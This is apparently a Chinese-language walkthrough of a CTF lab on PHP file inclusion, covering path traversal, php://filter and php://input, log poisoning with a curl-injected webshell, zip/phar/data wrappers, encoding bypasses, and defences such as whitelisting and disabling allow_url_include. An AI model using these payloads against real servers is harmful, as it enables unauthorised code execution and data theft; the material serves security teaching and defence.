1. 项目概述与核心价值最近在带新人入门渗透测试发现很多朋友对“文件包含”这个基础但威力巨大的漏洞理解总是浮于表面看了几篇教程知道用php://filter读个源码就觉得掌握了。这其实挺危险的因为在实际的CTF比赛或者渗透测试中文件包含的利用场景和绕过手法远比想象中复杂。正好我最近在复现和搭建一个名为“CTF吧”的渗透测试靶场环境其中“文件包含篇”设计得相当有层次从最基础的本地文件包含LFI一路延伸到各种奇技淫巧的远程文件包含RFI和协议利用。这个靶场不像一些大众化的平台只给个入口点它模拟了真实环境中开发人员可能犯的各种错误配置非常适合用来深挖文件包含漏洞的原理、利用和防御。今天我就结合这个靶场的通关过程把自己十多年踩坑积累的经验、思考逻辑和实战技巧系统地梳理一遍目标是让你看完后不仅能通关这个靶场更能建立起一套遇到文件包含漏洞时的“条件反射”式排查与利用思路。简单来说这个“文件包含篇”靶场它不是一个简单的答题机器而是一个精心设计的教学实验室。它覆盖了从因配置不当导致的绝对路径包含、到利用日志污染、再到各种包装器Wrapper和伪协议的实战应用。对于渗透测试学习者而言深入理解文件包含往往是突破Web应用防线的关键第一步也是理解服务器端逻辑缺陷的经典案例。无论是准备CTF比赛的新手还是希望夯实Web安全基础的从业者这个靶场都能提供一条清晰、渐进的学习路径。接下来我会完全以实战复盘的形式带你拆解每一个关卡并在每个关键步骤中穿插讲解背后的原理、我当时的思考过程以及那些容易忽略但至关重要的细节。2. 靶场环境搭建与核心概念解析2.1 靶场部署与初步感知“CTF吧”的这个文件包含靶场通常以Web应用的形式提供你可能需要将其部署在本地或内网测试环境中。常见的部署方式是使用Docker或者直接配置一个PHP运行环境如XAMPP、PHPStudy。我个人的习惯是在一台独立的Kali Linux虚拟机上用Apache2 PHP来搭建这样更贴近实战环境也方便后续进行更深入的漏洞利用尝试。部署成功后访问靶场主页面你会看到一个清晰的关卡列表标题可能就是“文件包含漏洞挑战”。第一关往往看起来人畜无害URL可能类似于http://target/vuln.php?fileinclude.php。页面功能是动态包含一个文件来展示内容。作为测试者我们的第一反应绝不是直接上Payload而是先理解它的行为。注意在开始任何测试前务必确认你的测试环境是隔离的、合法的。永远不要在未授权的真实网站上进行渗透测试。本地靶场是唯一安全且道德的学习场所。首先我会尝试最基本的测试参数遍历。比如将file参数的值改为../../../../etc/passwd。这么做的目的有两个一是验证漏洞是否存在即应用是否未对用户输入进行过滤直接拼接进include或require函数二是探知服务器的操作系统Linux的/etc/passwd或 Windows的C:\Windows\win.ini。如果成功读取到系统文件那么一个基础的本地文件包含LFI漏洞就坐实了。这里的关键在于理解路径遍历的原理../在文件系统中表示上一级目录。Web应用如果直接将用户可控的字符串拼接到包含文件的路径中攻击者就可以通过注入足够的../跳出Web根目录访问服务器上的任意文件。2.2 文件包含漏洞原理深度剖析为什么文件包含漏洞危害如此之大我们得从PHP其他语言如JSP、ASP也有类似机制的包含函数说起。include、require、include_once、require_once这些函数的本意是提高代码复用性比如把页头、页脚、配置函数库放在单独文件里。问题出在当这些函数包含的“文件名”是一个来自用户输入的变量如$_GET[‘file’]并且没有经过严格的校验和过滤时灾难就发生了。与SQL注入类似这也是一个“数据”被当作“代码”执行的问题。在文件包含中被包含的文件内容会被当作PHP代码来解析执行如果文件后缀是.php。更危险的是PHP的“封装协议”Wrapper特性允许include的参数不是一个简单的文件路径而是一个“流”比如php://input或http://attacker.com/shell.txt。这就将漏洞的影响范围从“读取服务器本地文件”扩大到了“执行任意代码”和“远程文件包含”。理解漏洞原理后我们就能形成清晰的测试思路链发现注入点寻找接收文件路径参数的功能点如图片展示、模板加载、语言包切换等。验证漏洞存在尝试路径遍历../读取已知的系统文件。判断限制条件观察是否有后缀拼接如.php、关键字过滤如../、etc、flag、目录限制等。尝试绕过限制根据限制条件采用编码、截断、协议利用等方式绕过。升级漏洞利用从LFI升级到RFI或利用本地文件如日志、Session写入Webshell。获取权限或目标数据最终目的是执行系统命令、读取敏感数据如数据库配置文件、源代码或获取靶机中的flag。这个思路链将贯穿我们整个靶场的通关过程。下面我们就进入实战环节一关一关地拆解。3. 靶场关卡实战通关与技巧详解3.1 初级关卡绝对路径与基础绕过靶场的前几关通常设计为“开胃菜”目的是让你熟悉最基本的LFI。例如第一关可能没有任何过滤直接使用include($_GET[‘file’]);。你的Payload就是?file../../../../etc/passwd。成功的话页面上会显示Linux系统的用户列表。但事情很少这么简单。第二关可能增加了后缀拼接include($_GET[‘file’] . ‘.php’);。这意味着无论你输入什么服务器都会在后面加上.php再去寻找文件。如果你直接提交../../../etc/passwd服务器实际会寻找../../../etc/passwd.php这个文件显然不存在。绕过技巧1空字节截断在PHP版本低于5.3.4且magic_quotes_gpc设置为off的情况下空字节%00是一个有效的字符串终止符。你可以提交../../../etc/passwd%00。服务器拼接后得到../../../etc/passwd%00.php但在文件系统层面%00后的内容被忽略最终成功读取/etc/passwd。需要注意的是这个技巧在现代PHP环境中已经基本失效但了解它对于理解漏洞历史和老系统测试仍有意义。绕过技巧2路径遍历与目录穿越即使加了后缀我们依然可以尝试让最终路径指向一个目录。例如提交../../../etc/passwd/。服务器拼接后变成../../../etc/passwd/.php。在某些配置下如果/etc/passwd被当作一个目录虽然它不是加上.php后可能无法匹配但有时会因为路径解析异常而暴露出目录列表或错误信息这本身也是一种信息泄露。更常见的做法是结合后面的协议利用。3.2 中级关卡PHP封装协议的妙用当基础路径遍历遇到阻碍时PHP丰富的封装协议就是我们手中的“瑞士军刀”。这也是文件包含漏洞变得极具威力的关键。关卡示例读取PHP源码假设一关的提示是“读取flag.php的源代码”但直接包含flag.php只会执行它输出结果可能什么都没有因为flag可能只是赋值给了一个变量而不是看到源代码。这时就需要用到php://filter协议。Payload:?filephp://filter/readconvert.base64-encode/resourceflag.php原理解析php://filter是一种元封装器设计用于数据流打开时的筛选过滤应用。readconvert.base64-encode表示对读取的资源进行base64编码。resourceflag.php指定要读取的目标文件。为什么用base64编码因为include函数会执行.php文件中的代码。通过filter将其内容转换为base64编码的文本流include函数就会“执行”这段base64文本其结果就是原样输出这段base64字符串。我们拿到后再解码就能得到flag.php的原始源代码从而在其中找到flag可能是一个变量定义如$flag “flag{xxx}”;。实操心得拿到base64编码的输出后不要急着去在线网站解码。最好在本地用命令行解码避免敏感信息泄露。在Kali上可以这样操作echo “PD9waHAgCiRmbGFnID0gImZsYWd7eHh4fSI7Cg” | base64 -d这样能清晰看到解码后的PHP代码。养成这个习惯在实战中能避免很多意外。进阶协议php://input 与数据流注入php://input是个更危险的协议它可以访问请求的原始数据POST数据。如果目标服务器的allow_url_include配置为On默认是Off你就可以通过它直接执行任意PHP代码。利用步骤将请求方法改为POST。在URL参数中设置?filephp://input。在POST Body中直接写入要执行的PHP代码例如?php system(‘whoami’); ?。如果服务器配置允许这段代码就会被执行并返回命令whoami的结果。这是将L漏洞升级为远程代码执行RCE的关键一步。但在实战和大多数靶场中allow_url_include通常是关闭的因此我们需要寻找其他途径。3.3 高级关卡日志污染与本地文件包含利用当无法直接进行RFI时“日志文件包含”是一种经典的将LFI转化为RCE的技术。其核心思想是将PHP代码注入到服务器某个可被包含的本地文件中然后通过LFI去包含这个文件使得代码得以执行。最常用的目标Web访问日志Apache和Nginx等Web服务器会记录所有访问请求包括请求的URL。如果我们可以让服务器在日志文件中记录一句话PHP代码再通过LFI包含这个日志文件代码就会被执行。具体操作流程找到日志路径通常需要先利用LFI读取服务器配置文件如/etc/apache2/apache2.conf、/etc/nginx/nginx.conf或者通过报错信息推测常见的路径有/var/log/apache2/access.log、/var/log/nginx/access.log。污染日志在浏览器或使用curl访问目标网站时在URL中插入PHP代码。因为URL会被记录到access.log中。例如访问http://target/php system($_GET[‘cmd’]); 注意实际使用时需要将和中的中文问号替换为英文问号?和?这里为避免渲染问题做了替换。这样一行包含PHP代码的URL就被写入日志。重要提示直接写入?php ?标签可能会因为日志的编码、转义或标签被解析而失败。更可靠的方法是使用User-Agent头注入。因为User-Agent通常也会被记录在日志中。使用curl命令curl -A “php system(‘id’); ” http://target/这样PHP代码就被注入到日志的User-Agent字段。包含日志执行代码通过已有的LFI漏洞去包含这个日志文件。http://target/vuln.php?file/var/log/apache2/access.log如果一切顺利包含日志文件时其中记录的?php system(‘id’); ?会被当作PHP代码执行页面上可能会显示命令id的执行结果。建立交互式Webshell一旦确认代码可执行就可以注入一个更强大的Webshell代码到日志中然后通过包含日志文件传递cmd参数来执行任意命令。curl -A “php if(isset($_GET[‘cmd’])){system($_GET[‘cmd’]);} ” http://target/然后访问http://target/vuln.php?file/var/log/apache2/access.logcmdls -la实战中的难点与技巧日志文件过大包含一个巨大的日志文件可能导致PHP内存耗尽或超时。解决方法是指定包含日志文件的某一行如果支持或使用tail命令注入到新日志如果权限允许但更常见的是耐心等待或寻找其他更小的可写文件如/proc/self/environ环境变量、Session文件/tmp/sess_[sessionid]。代码被转义观察日志文件中记录的代码是否完整。如果?php ?标签被转义或截断需要尝试其他编码或注入方式比如将代码进行base64编码再解码执行。路径不确定性日志路径可能因系统、安装方式而异。需要结合信息收集灵活判断。3.4 终极挑战协议组合与特殊场景绕过在靶场的高难度关卡可能会综合设置多重过滤比如同时过滤../、php、input、filter等关键字甚至限制包含的文件后缀必须为.inc。这就需要我们发挥创造力组合利用各种技巧。绕过技巧编码与双重编码如果WAF或过滤函数简单匹配了../可以尝试URL编码../-%2e%2e%2f或..%2f或%2e%2e/在某些情况下甚至需要进行双重URL编码../-%252e%252e%252f第一次编码后是%2e%2e%2f第二次对%编码为%25利用zip://或phar://协议这两个协议可以用于包含ZIP或PHAR压缩包中的文件。即使目标要求包含.jpg后缀你也可以创建一个包含Webshell的shell.php文件。将其压缩为shell.zip。将shell.zip上传到服务器通过其他上传漏洞。利用文件包含漏洞包含zip:///path/to/shell.zip%23shell.php注意#在URL中需要编码为%23。 这样shell.php中的代码就会被执行。phar://协议用法类似且对PHP版本要求更低。利用data://协议如果allow_url_include开启data://协议可以直接在URL中嵌入代码并执行。 Payload:?filedata://text/plain,?php phpinfo();?或者base64形式?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8?php phpinfo();?的base64编码靶场实战案例解析回忆开头提到的网络搜索内容“第三关. 此关要求使用php://伪协议且未对flag字符进行过滤直接php://filter读取源码base64解码后就flag”。这描述了一个典型场景。关卡可能提示“查看首页源码”而首页index.php中包含了flag.php。直接读index.php的源码就能看到包含flag.php的语句以及可能注释掉的flag。使用php://filter/readconvert.base64-encode/resourceindex.php读取并解码在源码中搜索flag或include/require语句就能找到线索。4. 防御策略与安全编程思考作为渗透测试者我们挖掘漏洞的最终目的是为了帮助修复它。因此在彻底玩转攻击之后必须深刻理解如何防御。根本解决方案避免动态包含用户可控的变量。这是最彻底的方法。如果必须动态包含请采用以下策略白名单校验建立一个允许包含的文件名或路径的白名单严格匹配拒绝任何不在名单内的请求。这比黑名单过滤要可靠得多。$allowed_files [‘header.php’, ‘footer.php’, ‘sidebar.php’]; if (in_array($_GET[‘file’], $allowed_files)) { include(‘./templates/’ . $_GET[‘file’]); } else { die(‘Invalid file requested.’); }固定目录后缀如果功能是包含模板可以将文件固定在某一个目录下并强制添加后缀。$file basename($_GET[‘template’]); // 去除路径 $path ‘./templates/’ . $file . ‘.tpl.php’; if (file_exists($path)) { include($path); }basename()函数会去掉路径部分只保留文件名有效防止路径遍历。关闭危险配置在php.ini中确保以下配置allow_url_fopen Off影响http://、ftp://等allow_url_include Off至关重要关闭远程文件包含open_basedir设置将PHP可访问的文件限制在网站根目录等指定区域内为文件包含增加一道围栏。更新与打补丁保持PHP版本和Web应用框架的最新状态许多历史漏洞如空字节截断已在较高版本中被修复。5. 渗透测试思维与实战问题排查在真实的渗透测试或CTF比赛中遇到文件包含漏洞绝不会像靶场这样有明确的提示。你需要培养敏锐的“嗅觉”。信息收集是关键参数名猜测file、page、template、load、path、include等都是常见的参数名。可以用Burp Suite的Intruder模块进行模糊测试。错误信息利用尝试包含一个不存在的文件观察错误信息。PHP的错误信息有时会暴露出绝对路径、服务器配置等这对后续利用如日志文件包含至关重要。源代码审计如果有可能例如通过.git泄露、备份文件.bak等下载到源码直接审计include/require语句周围的代码是理解过滤逻辑、寻找绕过方法的最直接途径。常见问题排查清单 当你发现一个疑似LFI点但利用失败时可以按以下顺序排查问题现象可能原因排查思路包含../../../etc/passwd返回空白或错误1. 漏洞不存在有严格过滤2. 路径不对Windows系统3. 文件不存在或权限不足1. 尝试更简单的./index.php看是否包含成功。2. 尝试 Windows 路径..\..\..\windows\win.ini。3. 查看服务器错误日志。包含php://filter协议时页面输出乱码或下载协议被禁用或配置问题检查phpinfo()中allow_url_fopen和对应包装器是否启用。尝试php://filter/resource/etc/passwd看是否能直接读取不编码。日志文件包含成功但代码不执行1. 代码被日志格式破坏2. 短标签?未开启3. 代码被HTML转义1. 查看日志文件实际内容确认注入的代码是否完整。2. 使用完整的?php ?标签。3. 尝试将代码放在User-Agent中并确保其被原样记录。使用php://input执行命令无回显1.allow_url_includeOff2. 命令执行被禁用或输出被隐藏1. 这是最常见原因此路不通需换其他方法。2. 尝试使用echo命令输出到Web目录下一个文件或使用DNS外带数据技术。我的个人经验文件包含漏洞的利用很多时候是一场与WAF和过滤规则的“心理战”。不要死磕一种Payload。如果直接路径遍历不行就试试编码如果php://被过滤就想想file://、zip://如果所有协议都被禁那就回到“日志污染”或“Session文件包含”这种利用本地文件写入的思路。保持思维灵活充分结合其他漏洞如文件上传、SSRF往往能打开新的局面。这个“CTF吧-文件包含篇”靶场正是训练这种灵活思维和综合能力的绝佳场所。通过它你能系统地建立起从漏洞发现、验证、绕过到深入利用的完整知识体系这才是它超越单纯解题的最大价值。